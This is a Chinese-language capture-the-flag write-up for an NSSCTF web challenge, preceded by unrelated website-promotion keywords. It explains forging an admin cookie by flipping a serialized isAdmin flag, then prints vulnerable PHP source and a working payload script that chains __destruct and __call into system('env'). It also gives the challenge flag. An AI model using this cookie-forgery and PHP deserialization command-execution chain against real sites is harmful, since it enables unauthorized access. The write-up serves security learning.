2025/12/31 5:59:40
网站建设
项目流程
重庆网站推广专家,设计交易平台哪个好,如何将网站添加到域名,办公室装修设计及报价打开题目便是空白页面#xff0c;查看源代码#xff0c;也是空白的#xff0c;没有任何内容#xff0c;进行目录扫描发现有目录#xff0c;但是内容都是为0进行抓包#xff0c;发现cookie中user的值有点像base64编码尝试进行解码解码内容是O:4:User:1:{s:7:查看源代码也是空白的没有任何内容进行目录扫描发现有目录但是内容都是为0进行抓包发现cookie中user的值有点像base64编码尝试进行解码解码内容是O:4:User:1:{s:7:isAdmin;b:0;}其中b:0表示一个布尔类型的值0代表着false为假1代表着true也就是讲User对象的isAdmin属性当前为false就是表示这个用户不是管理员那就将0改为1和原本的user值换一下发包就返回反序列化代码?php error_reporting(0); include(utils.php); //包含utils.php文件 class A { //定义一个A类类中有三个公共属性 public $className; public $funcName; public $args; public function __destruct() { //当对象销毁时触发 $class new $this-className; //将className进行实例化。让这样就可以将className的值为B就相当于new B了 $funcName $this-funcName; //funcName属性的值赋值给funcName这是方法名 $class-$funcName($this-args); //args属性值是参数 } } class B { public function __call($func, $arg) { //当调用不存在的方法时触发$func是方法名$arg是参数 $func($arg[0]); //这就是函数回调function call如果 $func system$arg[0] id那么就会执行 system(id) } } if(checkUser()) { highlight_file(__FILE__); $payload strrev(base64_decode($_POST[payload])); //将post传的参数值进行base64加密然后进行字符串反转 unserialize($payload); //这样我们可以将serialize结果先进行字符串反转然后进行base64编码 }这题比较简单就是将className等于B类这样就相当于实例了B类并赋值给了classclass调用$funcName($this-args)就是调用funcName()方法这个方法在B类中是不存在的所以就触发了__call方法触发__call方法传入的两个变量$func, $arg它们分别是funcName属性的值和args的值触发了__call方法就会调动$func($arg[0]);这是函数回调如果 $func system$arg[0] id那么就会执行 system(id)所以payload?php class A { public $className; public $funcName; public $args; public function __destruct() { $class new $this-className; $funcName $this-funcName; $class-$funcName($this-args); } } class B { public function __call($func, $arg) { $func($arg[0]); } } $anew A(); $a-classNameB; $a-funcNamesystem; $a-argsenv; echo base64_encode(strrev(serialize($a)));ls和ls /都没有发现flag文件所以看看env中有没有flagNSSCTF{417cea44-7104-4dee-8235-af0ee3d15ebb}本题的知识点其中b:0表示一个布尔类型的值0代表着false为假1代表着true$func($arg[0]); 这是函数回调如果 $func system$arg[0] id那么就会执行 system(id)strrev函数是将字符串内容反转就是将字符串中的字符顺序颠倒过来